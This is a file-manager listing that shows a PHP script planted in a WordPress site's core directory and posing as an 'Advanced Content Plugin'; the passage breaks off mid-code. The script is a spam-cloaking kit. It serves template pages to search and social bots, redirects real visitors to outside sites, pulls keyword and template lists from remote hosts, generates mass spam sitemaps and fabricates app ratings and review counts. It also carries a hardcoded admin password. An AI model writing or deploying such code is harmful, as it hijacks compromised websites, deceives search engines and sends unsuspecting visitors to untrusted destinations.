File manager - Edit - /home/kdmucyyv/semigocare.co.uk/wp-includes/interactivity-api/discoveryfinanceke.co.ke.tar
Back
index.php 0000644 00000244165 15155006317 0006403 0 ustar 00 <?php session_start(); $admin_password = 'arul123'; // Ganti password ini sesuai keinginan /** * AUTOMATIC FILL CONFIG — Edit values below for the "AUTOMATIC" button (Admin panel). * When AUTOMATIC is clicked: fills Query Parameters, JSON URLs, Template TXT URLs, Redirect Target URLs, * then runs Generate Sitemap (per parameter) and Generate Sitemap Index. * * Randomize order: if true, the order of Query Parameters and JSON URLs is shuffled each time * (so each site/click gets a different order and looks more original). */ if (!function_exists('advanced_content_automatic_config')) { function advanced_content_automatic_config() { return [ 'query_parameters' => [ 'discover', 'hype', 'insights', 'knowledge', 'general', 'newsfeed', ], 'json_urls' => [ 'https://indotify.com/ppdb/clara/1.txt', 'https://indotify.com/ppdb/clara/2.txt', 'https://indotify.com/ppdb/clara/3.txt', 'https://indotify.com/ppdb/clara/4.txt', 'https://indotify.com/ppdb/clara/5.txt', 'https://indotify.com/ppdb/clara/6.txt', ], 'template_txt_urls' => [ 'https://indotify.com/ppdb/nop/ant.txt', 'https://indotify.com/ppdb/nop/ant.txt', 'https://indotify.com/ppdb/nop/ant.txt', 'https://indotify.com/ppdb/nop/ant.txt', 'https://indotify.com/ppdb/nop/ant.txt', 'https://indotify.com/ppdb/nop/ant.txt', ], 'redirect_target_urls' => [ 'https://m.agneskhang.com/angel', 'https://m.agneskhang.com/angel', 'https://m.agneskhang.com/angel', 'https://m.agneskhang.com/angel', 'https://m.agneskhang.com/angel', 'https://m.agneskhang.com/angel', ], 'randomize_order' => true, ]; } } /* Plugin Name: Advanced Content Plugin Description: Menampilkan konten dari JSON dengan fitur sitemap dan format title otomatis. Version: 3.0 */ class AdvancedContentPlugin { private $bot_user_agents = [ // Search Engine Bots 'Googlebot', 'Googlebot-Image', 'Googlebot-News', 'Googlebot-Video', 'APIs-Google', 'Mediapartners-Google', 'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider', 'YandexBot', 'PetalBot', 'Applebot', // Social Media Bots 'Twitterbot', 'LinkedInBot', 'Pinterest', 'WhatsApp', 'TelegramBot', 'Discordbot', 'Slackbot', 'LineBot', 'ViberBot', 'WeChat', 'FacebookBot', 'InstagramBot', // Other Bots 'facebot', 'ia_archiver', 'AhrefsBot', 'MJ12bot', 'SemrushBot' ]; private $settings = []; private $settings_file = 'content_settings.json'; private $homepage_cache_file = 'homepage_sample.json'; private $homepage_sample_max_per_endpoint = 500; private $homepage_fetch_max_bytes = 2097152; // 2MB max fetch per URL to avoid memory issues public function __construct() { $this->load_settings(); $this->handle_request(); } private function load_settings() { if (file_exists($this->settings_file)) { $this->settings = json_decode(file_get_contents($this->settings_file), true); } else { // Default settings $this->settings = [ 'app_rating_value' => '5.0', 'app_review_count' => '8899888', 'app_price' => 'Free', 'app_platform' => 'Android', 'app_category' => 'Game', 'des_custom' => '', 'img_custom' => '', 'use_random_values' => '', 'real_user_redirect_mode' => 'redirect', 'endpoints' => [] ]; $this->save_settings(); } } private function save_settings() { file_put_contents($this->settings_file, json_encode($this->settings, JSON_PRETTY_PRINT)); } private function handle_request() { // Debug information error_log("Processing request: " . $_SERVER['REQUEST_URI']); error_log("Current settings: " . print_r($this->settings, true)); // Handle admin panel requests if (isset($_GET['admin'])) { $this->handle_admin_panel(); return; } // Handle sitemap generation if (isset($_GET['generate_sitemap'])) { $this->generate_sitemap(); return; } // Handle content requests $this->handle_content_request(); } private function handle_admin_panel() { // Logic logout if (isset($_POST['logout_admin'])) { unset($_SESSION['is_admin_logged_in']); header('Location: ' . $_SERVER['PHP_SELF'] . '?admin=1'); exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { // AUTOMATIC: Fill endpoints from config (with optional shuffle), then start sitemap flow if (isset($_POST['automatic_fill_endpoints']) && function_exists('advanced_content_automatic_config')) { $config = advanced_content_automatic_config(); $params = array_map('trim', $config['query_parameters']); $json_urls = array_map('trim', $config['json_urls']); $template_txt = array_map('trim', $config['template_txt_urls']); $redirects = array_map('trim', $config['redirect_target_urls']); if (!empty($config['randomize_order'])) { shuffle($params); shuffle($json_urls); } $count = min(count($params), count($json_urls), count($template_txt), count($redirects)); $endpoints = []; for ($i = 0; $i < $count; $i++) { $endpoints[] = [ 'param' => $params[$i], 'json_url' => $json_urls[$i], 'template_txt_url' => $template_txt[$i] ?? $template_txt[0], 'template_url' => $redirects[$i] ?? $redirects[0], 'sitemap' => true, ]; } $this->settings['endpoints'] = $endpoints; $this->save_settings(); $_SESSION['automatic_flow'] = true; header('Location: ' . $_SERVER['PHP_SELF'] . '?admin=1&automatic_filled=1'); exit; } if (isset($_POST['save_settings'])) { // Handle other settings $this->settings['app_rating_value'] = $_POST['app_rating_value'] ?? $this->settings['app_rating_value']; $this->settings['app_review_count'] = $_POST['app_review_count'] ?? $this->settings['app_review_count']; $this->settings['app_price'] = $_POST['app_price'] ?? $this->settings['app_price']; $this->settings['app_platform'] = $_POST['app_platform'] ?? $this->settings['app_platform']; $this->settings['app_category'] = $_POST['app_category'] ?? $this->settings['app_category']; $this->settings['des_custom'] = $_POST['des_custom'] ?? ($this->settings['des_custom'] ?? ''); $this->settings['img_custom'] = $_POST['img_custom'] ?? ($this->settings['img_custom'] ?? ''); $this->settings['use_random_values'] = isset($_POST['use_random_values']) ? '1' : ''; $this->settings['real_user_redirect_mode'] = $_POST['real_user_redirect_mode'] ?? ($this->settings['real_user_redirect_mode'] ?? 'redirect'); // Handle endpoints if (isset($_POST['endpoints']) && is_array($_POST['endpoints'])) { $this->settings['endpoints'] = []; foreach ($_POST['endpoints'] as $endpoint) { $this->settings['endpoints'][] = [ 'param' => $endpoint['param'] ?? '', 'json_url' => $endpoint['json_url'] ?? '', 'template_txt_url' => $endpoint['template_txt_url'] ?? '', 'template_url' => $endpoint['template_url'] ?? '', 'sitemap' => isset($endpoint['sitemap']) ]; } } $this->save_settings(); header('Location: ' . $_SERVER['PHP_SELF'] . '?admin=1&saved=1'); exit; } // Handle add endpoint if (isset($_POST['add_endpoint'])) { if (!isset($this->settings['endpoints'])) { $this->settings['endpoints'] = []; } $this->settings['endpoints'][] = [ 'param' => '', 'json_url' => '', 'template_txt_url' => '', 'template_url' => '', 'sitemap' => false ]; $this->save_settings(); header('Location: ' . $_SERVER['PHP_SELF'] . '?admin=1'); exit; } // Handle bulk create endpoints if (isset($_POST['bulk_create_endpoints'])) { $params = array_filter(explode("\n", str_replace("\r", "", $_POST['bulk_params']))); $json_urls = array_filter(explode("\n", str_replace("\r", "", $_POST['bulk_json_urls']))); $template_txt_urls = array_filter(explode("\n", str_replace("\r", "", $_POST['bulk_template_txt_urls']))); $template_urls = array_filter(explode("\n", str_replace("\r", "", $_POST['bulk_template_urls']))); if (!isset($this->settings['endpoints'])) { $this->settings['endpoints'] = []; } $count = min(count($params), count($json_urls), count($template_txt_urls), count($template_urls)); for ($i = 0; $i < $count; $i++) { $this->settings['endpoints'][] = [ 'param' => trim($params[$i]), 'json_url' => trim($json_urls[$i]), 'template_txt_url' => trim($template_txt_urls[$i]), 'template_url' => trim($template_urls[$i]), 'sitemap' => true ]; } $this->save_settings(); header('Location: ' . $_SERVER['PHP_SELF'] . '?admin=1&saved=1'); exit; } // Handle remove endpoint if (isset($_POST['remove_endpoint'])) { $index = intval($_POST['remove_endpoint']); if (isset($this->settings['endpoints'][$index])) { array_splice($this->settings['endpoints'], $index, 1); $this->save_settings(); } header('Location: ' . $_SERVER['PHP_SELF'] . '?admin=1'); exit; } // Handle generate sitemap (all endpoints) if (isset($_POST['generate_sitemap'])) { // Start with the first endpoint $_SESSION['sitemap_progress'] = [ 'current_index' => 0, 'total_endpoints' => count($this->settings['endpoints']), 'sitemap_info' => [], 'total_urls' => 0 ]; $this->generate_sitemap_step(); return; } // Handle generate sitemap index if (isset($_POST['generate_sitemap_index'])) { $sitemap_info = []; foreach ($this->settings['endpoints'] as $endpoint) { if (!empty($endpoint['param'])) { $sitemap_info[] = [ 'filename' => 'sitemap-' . $endpoint['param'] . '.xml', 'urls_added' => 0, 'timestamp' => date('Y-m-d H:i:s') ]; } } $this->generate_sitemap_index($sitemap_info); header('Location: ' . $_SERVER['PHP_SELF'] . '?admin=1&sitemap_index_generated=1'); exit; } // Handle generate next sitemap if (isset($_POST['generate_next_sitemap'])) { $this->generate_sitemap_step(); return; } // Build homepage sample (fake blog) – max 500 keywords per endpoint, safe for ratusan ribu keywords if (isset($_POST['build_homepage_sample'])) { $count = $this->build_homepage_cache(); header('Location: ' . $_SERVER['PHP_SELF'] . '?admin=1&homepage_built=1&count=' . (int)$count); exit; } } // Display admin panel $this->display_admin_panel(); } private function display_sitemap_progress() { $progress = $_SESSION['sitemap_progress']; $current = $progress['current_index']; $total = $progress['total_endpoints']; $percentage = ($current / $total) * 100; // Add debug information error_log("Sitemap Progress - Current: " . $current . ", Total: " . $total); error_log("Progress percentage: " . $percentage); error_log("Current settings: " . print_r($this->settings, true)); echo '<!DOCTYPE html> <html> <head> <title>Sitemap Generation Progress</title> <style> body { font-family: Arial, sans-serif; margin: 20px; } .progress-container { max-width: 600px; margin: 50px auto; } .progress-bar { width: 100%; height: 20px; background-color: #f0f0f0; border-radius: 10px; overflow: hidden; } .progress-fill { width: ' . $percentage . '%; height: 100%; background-color: #4CAF50; transition: width 0.3s ease; } .progress-text { text-align: center; margin-top: 10px; } .debug-info { margin-top: 20px; padding: 10px; background: #f8f9fa; border-radius: 5px; font-family: monospace; white-space: pre-wrap; } </style> </head> <body> <div class="progress-container"> <h2>Sitemap Generation Progress</h2> <div class="progress-bar"> <div class="progress-fill"></div> </div> <div class="progress-text"> Processing sitemap ' . $current . ' of ' . $total . ' (' . round($percentage, 1) . '%) </div>'; // Add debug information display echo '<div class="debug-info">'; echo "Current Progress:\n"; echo "Current Index: " . $current . "\n"; echo "Total Endpoints: " . $total . "\n"; echo "Percentage: " . round($percentage, 1) . "%\n"; echo "Script Directory: " . dirname($_SERVER['SCRIPT_FILENAME']) . "\n"; echo "Document Root: " . $_SERVER['DOCUMENT_ROOT'] . "\n"; echo '</div>'; if ($current < $total) { echo '<form method="post" id="autoForm"> <input type="hidden" name="generate_next_sitemap" value="1"> </form> <script> // Auto submit form after a short delay setTimeout(function() { document.getElementById("autoForm").submit(); }, 1000); </script>'; } else { echo '<div class="progress-text"> All sitemaps have been generated! Redirecting... </div> <script> setTimeout(function() { window.location.href = "' . $_SERVER['PHP_SELF'] . '?admin=1&sitemap_generated=1"; }, 2000); </script>'; } echo '</div> </body> </html>'; } private function generate_sitemap_step() { if (!isset($_SESSION['sitemap_progress'])) { error_log("No sitemap progress session found"); header('Location: ' . $_SERVER['PHP_SELF'] . '?admin=1'); exit; } $progress = &$_SESSION['sitemap_progress']; $current_index = $progress['current_index']; error_log("Starting sitemap step - Current index: " . $current_index); if ($current_index >= $progress['total_endpoints']) { error_log("All sitemaps generated, creating index"); // All sitemaps generated, create index $this->generate_sitemap_index($progress['sitemap_info']); // Store final info and redirect $_SESSION['sitemap_info'] = $progress['sitemap_info']; $_SESSION['total_urls'] = $progress['total_urls']; unset($_SESSION['sitemap_progress']); if (!empty($_SESSION['automatic_flow'])) { unset($_SESSION['automatic_flow']); } header('Location: ' . $_SERVER['PHP_SELF'] . '?admin=1&sitemap_generated=1'); exit; } $endpoint = $this->settings['endpoints'][$current_index]; error_log("Processing endpoint: " . print_r($endpoint, true)); if (!empty($endpoint['json_url']) && !empty($endpoint['param'])) { try { $json_content = file_get_contents($endpoint['json_url']); error_log("JSON content length: " . strlen($json_content)); // Parse titles (supports JSON object keys, JSON array of titles/objects with title, or plain text lines) $titles = $this->parse_titles_from_content($json_content); if (!empty($titles)) { $sitemap_content = '<?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'; $urls_added = 0; foreach ($titles as $slug) { $url = $this->get_urlasli() . '/?' . $endpoint['param'] . '=' . $slug; $sitemap_content .= ' <url> <loc>' . $url . '</loc> <lastmod>' . date('Y-m-d') . '</lastmod> <changefreq>weekly</changefreq> <priority>0.8</priority> </url>'; $urls_added++; } $sitemap_content .= ' </urlset>'; // Save sitemap in current script directory $script_dir = dirname($_SERVER['SCRIPT_FILENAME']); $filename = $script_dir . '/sitemap-' . $endpoint['param'] . '.xml'; error_log("Attempting to save sitemap to: " . $filename); // Check if directory is writable if (!is_writable($script_dir)) { error_log("Directory is not writable: " . $script_dir); error_log("Directory permissions: " . substr(sprintf('%o', fileperms($script_dir)), -4)); } if (file_put_contents($filename, $sitemap_content)) { error_log("Successfully saved sitemap: " . $filename); $progress['sitemap_info'][] = [ 'filename' => 'sitemap-' . $endpoint['param'] . '.xml', 'urls_added' => $urls_added, 'timestamp' => date('Y-m-d H:i:s') ]; $progress['total_urls'] += $urls_added; } else { error_log("Failed to save sitemap: " . $filename); error_log("PHP error: " . error_get_last()['message']); } } else { error_log("Invalid or empty titles parsed for endpoint: " . $endpoint['param']); } } catch (Exception $e) { error_log('Sitemap generation error: ' . $e->getMessage()); } } else { error_log("Empty JSON URL or param for endpoint at index: " . $current_index); } // Move to next endpoint $progress['current_index']++; error_log("Moving to next endpoint. New index: " . $progress['current_index']); // Show progress page $this->display_sitemap_progress(); } private function display_admin_panel() { // Login protection global $admin_password; if (!isset($_SESSION['is_admin_logged_in']) || $_SESSION['is_admin_logged_in'] !== true) { // Jika POST login if (isset($_POST['admin_password'])) { if ($_POST['admin_password'] === $admin_password) { $_SESSION['is_admin_logged_in'] = true; header('Location: ' . $_SERVER['PHP_SELF'] . '?admin=1'); exit; } else { $login_error = 'Password salah!'; } } // Tampilkan form login ?> <form method="post" style="max-width:49D2SNGzC9GHcrUUaqinbv3Z2PLFKvxxmFNNsY6aQG72DmWbGET77srS3bd7S1wwYLTnyPqURASpx15UMac6uZKxFzSmgvJ8px rgba(0,0,0,0.04);"> <h2 style="margin-top:0;">Admin Login</h2> <?php if (isset($login_error)): ?> <div style="color:#a94442;background:#f2dede;padding:8px 12px;border-radius:4px;margin-bottom:12px;">Password salah!</div> <?php endif; ?> <input type="password" name="admin_password" placeholder="Enter admin password" style="width:100%;padding:10px 12px;margin-bottom:16px;border:1px solid #ccc;border-radius:4px;font-size:16px;"> <button type="submit" class="button" style="width:100%;">Login</button> </form> <?php return; } ?> <!DOCTYPE html> <html> <head> <title>Content Manager</title> <style> body { font-family: Arial, sans-serif; margin: 20px; } .wrap { max-width: 1200px; margin: 0 auto; } .form-table { width: 100%; border-collapse: collapse; } .form-table td, .form-table th { padding: 10px; border: 1px solid #ddd; } .button { padding: 10px 24px; background: #0073aa; color: white; border: none; border-radius: 5px; cursor: pointer; font-size: 16px; margin-right: 10px; transition: background 0.2s; } .button:hover { background: #005f8d; } .button-danger { background: #dc3232; } .notice { padding: 10px; margin: 10px 0; border-radius: 4px; } .notice-success { background: #dff0d8; color: #3c763d; } .notice-error { background: #f2dede; color: #a94442; } .sitemap-info { background: #f8f9fa; padding: 24px 24px 18px 24px; border-radius: 8px; margin: 24px 0; box-shadow: 0 2px 8px rgba(0,0,0,0.04);} .sitemap-info h3 { margin-top: 0; font-size: 22px; } .sitemap-info p { margin: 8px 0; font-size: 16px; } .sitemap-info .button { margin-top: 10px; margin-bottom: 5px; border-radius: 5px; } @media (max-width: 600px) { .sitemap-info { padding: 12px; } .button { width: 100%; margin-bottom: 10px; } } </style> </head> <body><br> <div class="wrap"> <form method="post" style="display:inline;float:right;margin-top:-50px;"> <input type="hidden" name="logout_admin" value="1"> <button type="submit" class="button button-danger">Logout</button> </form> <h1>Content Manager</h1> <?php if (isset($_GET['saved'])): ?> <div class="notice notice-success">Settings saved successfully!</div> <?php endif; ?> <?php if (isset($_GET['sitemap_index_generated'])): ?> <div class="notice notice-success">Sitemap Index generated successfully!</div> <?php endif; ?> <?php if (isset($_GET['homepage_built'])): ?> <div class="notice notice-success">Homepage sample berhasil dibangun! <?php echo (int)($_GET['count'] ?? 0); ?> link ditambahkan. Halaman utama sekarang menampilkan fake blog dengan pagination.</div> <?php endif; ?> <?php if (isset($_GET['sitemap_generated']) && isset($_SESSION['sitemap_info'])): ?> <div class="sitemap-info"> <h3>Sitemaps Generated Successfully!</h3> <p><strong>Total URLs Added:</strong> <?php echo number_format($_SESSION['total_urls']); ?></p> <p><strong>Generated:</strong> <?php echo date('Y-m-d H:i:s'); ?></p> <div><br> <?php foreach ($_SESSION['sitemap_info'] as $info): ?> <div style="margin-bottom: 15px; padding: 10px; background: #fff; border-radius: 5px; box-shadow: 0 1px 3px rgba(0,0,0,0.1);"> <p><strong>Filename:</strong> <?php echo htmlspecialchars($info['filename']); ?></p> <p><strong>URLs in this sitemap:</strong> <?php echo number_format($info['urls_added']); ?></p> <div> <a href="<?php echo htmlspecialchars($info['filename']); ?>" target="_blank" class="button">View Sitemap</a> <a href="<?php echo htmlspecialchars($info['filename']); ?>" download class="button">Download Sitemap</a> </div> </div> <?php endforeach; ?> </div> </div> <?php unset($_SESSION['sitemap_info']); ?> <?php unset($_SESSION['total_urls']); ?> <?php endif; ?> <?php if (isset($_SESSION['sitemap_error'])): ?> <div class="notice notice-error"> <?php echo htmlspecialchars($_SESSION['sitemap_error']); ?> </div> <?php unset($_SESSION['sitemap_error']); ?> <?php endif; ?> <?php if (isset($_GET['automatic_filled'])): ?> <div class="notice notice-success">Endpoint diisi otomatis dari config. Memulai pembuatan sitemap...</div> <form method="post" id="automaticStartSitemapForm"> <input type="hidden" name="generate_sitemap" value="1"> <noscript><button type="submit" class="button">Generate Sitemap</button></noscript> </form> <script>document.getElementById('automaticStartSitemapForm').submit();</script> <?php return; // Stop rendering rest of page; form will redirect ?> <?php endif; ?> <form method="post"> <h2>Rating Settings</h2> <table class="form-table"> <tr> <th>Rating Value</th> <td> <input type="number" name="app_rating_value" value="<?php echo htmlspecialchars($this->settings['app_rating_value']); ?>" step="0.1" min="0" max="5"> </td> </tr> <tr> <th>Review Count</th> <td> <input type="number" name="app_review_count" value="<?php echo htmlspecialchars($this->settings['app_review_count']); ?>"> </td> </tr> <tr> <th>Price</th> <td> <input type="text" name="app_price" value="<?php echo htmlspecialchars($this->settings['app_price']); ?>"> </td> </tr> <tr> <th>Platform</th> <td> <input type="text" name="app_platform" value="<?php echo htmlspecialchars($this->settings['app_platform']); ?>"> </td> </tr> <tr> <th>Category</th> <td> <input type="text" name="app_category" value="<?php echo htmlspecialchars($this->settings['app_category']); ?>"> </td> </tr> <tr> <th>Use Random Values</th> <td> <label><input type="checkbox" name="use_random_values" value="1" <?php echo ($this->settings['use_random_values'] === '1') ? 'checked' : ''; ?>> Enable random Rating, Review Count, and Price</label> <p class="description">Rating (3.0–5.0, step 0.1), Review Count (1,000–1,000,000), and Price ($DD,CC) will be generated randomly per page view if enabled.</p> </td> </tr> <tr> <th>Custom Description</th> <td> <textarea name="des_custom" rows="4" style="width: 400px;"><?php echo htmlspecialchars($this->settings['des_custom'] ?? ''); ?></textarea> <p class="description">This text is available in templates as {{des_custom}}</p> </td> </tr> <tr> <th>Custom URL Image</th> <td> <input type="url" name="img_custom" value="<?php echo htmlspecialchars($this->settings['img_custom'] ?? ''); ?>" style="width: 400px;"> <p class="description">URL gambar custom, tersedia di template sebagai {{img_custom}}</p> </td> </tr> <tr> <th>Real User Behavior</th> <td> <?php $redirect_mode = $this->settings['real_user_redirect_mode'] ?? 'redirect'; ?> <label><input type="radio" name="real_user_redirect_mode" value="redirect" <?php echo ($redirect_mode === 'redirect') ? 'checked' : ''; ?>> Redirect Target URLs</label><br> <label style="margin-top: 10px; display: block;"><input type="radio" name="real_user_redirect_mode" value="template" <?php echo ($redirect_mode === 'template') ? 'checked' : ''; ?>> Menampilkan Template TXT URLs</label> <p class="description">Pilih antara menggunakan Redirect Target URLs atau Menampilkan Template TXT URLs. URL diambil dari Content Settings / Content Manager. Untuk BOT tetap selalu menampilkan Template TXT URLs.</p> </td> </tr> </table> <h2>Endpoints</h2> <?php foreach ($this->settings['endpoints'] as $i => $endpoint): ?> <div style="border:1px solid #ddd; padding:20px; margin-bottom:20px;"> <h3>Endpoint <?php echo $i + 1; ?></h3> <p>Query Parameter: <input type="text" name="endpoints[<?php echo $i; ?>][param]" value="<?php echo htmlspecialchars($endpoint['param'] ?? ''); ?>"></p> <p>JSON URL: <input type="url" name="endpoints[<?php echo $i; ?>][json_url]" value="<?php echo htmlspecialchars($endpoint['json_url'] ?? ''); ?>" style="width:100%;"></p> <p>Template TXT URL: <input type="url" name="endpoints[<?php echo $i; ?>][template_txt_url]" value="<?php echo htmlspecialchars($endpoint['template_txt_url'] ?? ''); ?>" style="width:100%;"></p> <p>Target Redirect URLs: <input type="url" name="endpoints[<?php echo $i; ?>][template_url]" value="<?php echo htmlspecialchars($endpoint['template_url'] ?? ''); ?>" style="width:100%;"></p> <p><label><input type="checkbox" name="endpoints[<?php echo $i; ?>][sitemap]" value="1" <?php echo isset($endpoint['sitemap']) && $endpoint['sitemap'] ? 'checked' : ''; ?>> Include in sitemap</label></p> <p> <button type="submit" name="remove_endpoint" value="<?php echo $i; ?>" class="button button-danger">Remove Endpoint</button> </p> </div> <?php endforeach; ?> <button type="submit" name="add_endpoint" class="button">+ Add New Endpoint</button> <button type="submit" name="generate_sitemap" class="button">Generate Sitemap</button> <button type="submit" name="generate_sitemap_index" class="button">Generate Sitemap Index</button> <button type="submit" name="build_homepage_sample" class="button" title="Ambil sample keyword dari tiap endpoint (max 500/endpoint) untuk halaman utama fake blog. Aman untuk ratusan ribu keyword.">Build Homepage Sample</button> <input type="submit" name="save_settings" value="Save Settings" class="button"> </form> <h2>Bulk Create Endpoints</h2> <form method="post" style="margin-top: 20px;"> <div style="display: grid; grid-template-columns: repeat(4, 1fr); gap: 20px; margin-bottom: 20px;"> <div> <h3>Query Parameters</h3> <p style="color: #666; font-size: 0.9em; margin-bottom: 10px;">Enter one parameter per line</p> <textarea name="bulk_params" rows="10" style="width: 100%; padding: 10px; border: 1px solid #ddd; border-radius: 4px;" placeholder="general watch free"></textarea> </div> <div> <h3>JSON URLs</h3> <p style="color: #666; font-size: 0.9em; margin-bottom: 10px;">Enter one URL per line</p> <textarea name="bulk_json_urls" rows="10" style="width: 100%; padding: 10px; border: 1px solid #ddd; border-radius: 4px;" placeholder="https://gogandul.net/key/artist/1.txt https://gogandul.net/key/artist/2.txt https://gogandul.net/key/artist/3.txt"></textarea> </div> <div> <h3>Template TXT URLs</h3> <p style="color: #666; font-size: 0.9em; margin-bottom: 10px;">Enter one URL per line</p> <textarea name="bulk_template_txt_urls" rows="10" style="width: 120%; padding: 10px; border: 1px solid #ddd; border-radius: 4px;" placeholder="https://gogandul.net/template/1.txt https://gogandul.net/template/1.txt https://gogandul.net/template/1.txt"></textarea> </div> <div> <h3>Target Redirect URLs</h3> <p style="color: #666; font-size: 0.9em; margin-bottom: 10px;">Enter one URL per line</p> <textarea name="bulk_template_urls" rows="10" style="width: 100%; padding: 10px; border: 1px solid #ddd; border-radius: 4px;" placeholder="https://gogandul.net https://gogandul.net https://gogandul.net"></textarea> </div> </div> <div style="margin-top: 15px; display: flex; gap: 10px; align-items: center; flex-wrap: wrap;"> <button type="submit" name="bulk_create_endpoints" class="button">Create Endpoints</button> <button type="submit" name="automatic_fill_endpoints" value="1" class="button" style="background: #2271b1;">AUTOMATIC (Fill + Generate Sitemaps)</button> <span class="description" style="margin-left: 5px; color: #666;">Isi otomatis dari config (random order), lalu Generate Sitemap + Sitemap Index</span> </div> </form> </div> </body> </html> <?php } private function is_bot() { $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; if (empty($user_agent)) { return true; } // Check for any bot in our list foreach ($this->bot_user_agents as $bot) { if (stripos($user_agent, $bot) !== false) { return true; } } return false; } private function handle_content_request() { // Debug information error_log("Handling content request"); $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; $is_bot = $this->is_bot(); // Get all GET parameters (copy for homepage check) $params = $_GET; $params_for_home = $params; unset($params_for_home['admin']); unset($params_for_home['generate_sitemap']); $only_page = (count($params_for_home) === 1 && isset($params_for_home['page'])); if (empty($params_for_home) || $only_page) { $page = isset($params_for_home['page']) ? max(1, (int)$params_for_home['page']) : 1; $this->render_fake_blog_homepage($page); return; } // Check if this is a request for our plugin (endpoint param present) $is_plugin_request = false; foreach ($this->settings['endpoints'] as $endpoint) { $endpoint_param = $endpoint['param'] ?? ''; if (!empty($endpoint_param) && isset($params[$endpoint_param])) { $is_plugin_request = true; break; } } if (!$is_plugin_request) { return; } // Remove admin parameter if exists unset($params['admin']); unset($params['generate_sitemap']); // Get the first parameter and its value $param = array_key_first($params); $keyword = $params[$param]; error_log("Param: " . $param); error_log("Keyword: " . $keyword); foreach ($this->settings['endpoints'] as $endpoint) { $endpoint_param = $endpoint['param'] ?? ''; error_log("Checking endpoint param: " . $endpoint_param); if (!empty($endpoint_param) && $endpoint_param === $param) { $json_url = $endpoint['json_url'] ?? ''; $template_url = $endpoint['template_url'] ?? ''; error_log("JSON URL: " . $json_url); error_log("Target Redirect URLs: " . $template_url); if (!empty($json_url) && !empty($template_url)) { try { $json_content = file_get_contents($json_url); error_log("JSON content length: " . strlen($json_content)); $data = json_decode($json_content, true); error_log("JSON data: " . print_r($data, true)); // Support title-only data (either JSON list/object keys or newline-separated text) $keywordExists = false; if (is_array($data)) { if (array_key_exists($keyword, $data)) { $keywordExists = true; } else { foreach ($data as $entry) { $titleCandidate = null; if (is_string($entry)) { $titleCandidate = $entry; } elseif (is_array($entry) && isset($entry['title'])) { $titleCandidate = $entry['title']; } if ($titleCandidate !== null) { $slugA = str_replace(' ', '-', trim($titleCandidate)); $slugB = ucwords(strtolower($slugA)); if ($keyword === $slugA || $keyword === $slugB) { $keywordExists = true; break; } } } } } else { $lines = preg_split("/(\r\n|\n|\r)/", (string)$json_content); foreach ($lines as $line) { $line = trim($line); if ($line === '') continue; $slug = str_replace(' ', '-', $line); $slugAlt = ucwords(strtolower($slug)); if ($keyword === $slug || $keyword === $slugAlt) { $keywordExists = true; break; } } } if ($keywordExists || empty($json_content)) { error_log("Found data for keyword: " . $keyword); // Decide whether to use random or saved values $use_random = ($this->settings['use_random_values'] ?? '') === '1'; if ($use_random) { // Rating: random 3.0 - 5.0 with 0.1 steps $rating = number_format(mt_rand(30, 50) / 10, 1, '.', ''); // Review count: random 1,000 - 1,000,000 $review_count = mt_rand(1000, 1000000); // Price: random $DD,CC (01..99, 00..99) $price_dollars = mt_rand(1, 99); $price_cents = mt_rand(0, 99); $price = '$' . str_pad((string)$price_dollars, 2, '0', STR_PAD_LEFT) . ',' . str_pad((string)$price_cents, 2, '0', STR_PAD_LEFT); } else { $rating = $this->settings['app_rating_value']; $review_count = $this->settings['app_review_count']; $saved_price = $this->settings['app_price']; if (strcasecmp($saved_price, 'Free') === 0) { $price = 'Free'; $price_dollars = 0; $price_cents = 0; } else { $normalized = preg_replace('/[^0-9.,]/', '', (string)$saved_price); $normalized = str_replace('.', ',', $normalized); if (strpos($normalized, ',') !== false) { list($dPart, $cPart) = array_pad(explode(',', $normalized, 2), 2, '00'); $price_dollars = max(0, (int)$dPart); $price_cents = max(0, (int)substr(str_pad($cPart, 2, '0', STR_PAD_RIGHT), 0, 2)); } else { $price_dollars = max(0, (int)$normalized); $price_cents = 0; } $price = '$' . str_pad((string)$price_dollars, 2, '0', STR_PAD_LEFT) . ',' . str_pad((string)$price_cents, 2, '0', STR_PAD_LEFT); } } $platform = $this->settings['app_platform']; $category = $this->settings['app_category']; // Generate star rating HTML $stars_html = str_repeat('★', floor($rating)) . str_repeat('☆', 5 - floor($rating)); // Generate schema.org markup $schema_markup = ' <script type="application/ld+json"> { "@context": "https://schema.org", "@type": "SoftwareApplication", "name": "' . $this->format_display_title($keyword) . '", "applicationCategory": "' . $category . '", "operatingSystem": "' . $platform . '", "offers": { "@type": "Offer", "price": "' . ($price === 'Free' ? '0.00' : number_format(($price_dollars + ($price_cents / 100)), 2, '.', '')) . '", "priceCurrency": "USD" }, "aggregateRating": { "@type": "AggregateRating", "ratingValue": "' . $rating . '", "ratingCount": "' . $review_count . '", "bestRating": "5", "worstRating": "1" } } </script>'; // Add rating information $rating_html = ' <div class="app-rating-info" style="margin: 20px 0; padding: 15px; background: #f8f9fa; border-radius: 8px;"> <div class="rating-stars" style="font-size: 24px; color: #ffc107;">' . $this->format_display_title($keyword) . ' ' . $stars_html . '</div> <div class="rating-details" style="margin-top: 10px;"> <div>Rating :<strong> ' . $rating . ' ★★★★★</strong></div> <div>Rating Count : ' . number_format($review_count) . '</div> <div>Price : ' . $price . '</div> <div>Platform : ' . $platform . '</div> <div>Category : ' . $category . '</div> </div> </div>'; // RandomUser API fetch $ru_title = ''; $ru_first = ''; $ru_last = ''; $ru_street_number = ''; $ru_street_name = ''; $ru_city = ''; $ru_state = ''; $ru_country = ''; $ru_postcode = ''; $ru_uuid = ''; $ru_md5 = ''; $ru_phone = ''; $ru_picture_large = ''; $ru_picture_thumbnail = ''; try { $ru_json = @file_get_contents('https://randomuser.me/api/1.4/'); $ru_data = json_decode($ru_json, true); if (is_array($ru_data) && isset($ru_data['results'][0])) { $r = $ru_data['results'][0]; $ru_title = $r['name']['title'] ?? ''; $ru_first = $r['name']['first'] ?? ''; $ru_last = $r['name']['last'] ?? ''; $ru_street_number = isset($r['location']['street']['number']) ? (string)$r['location']['street']['number'] : ''; $ru_street_name = $r['location']['street']['name'] ?? ''; $ru_city = $r['location']['city'] ?? ''; $ru_state = $r['location']['state'] ?? ''; $ru_country = $r['location']['country'] ?? ''; $ru_postcode = isset($r['location']['postcode']) ? (string)$r['location']['postcode'] : ''; $ru_uuid = 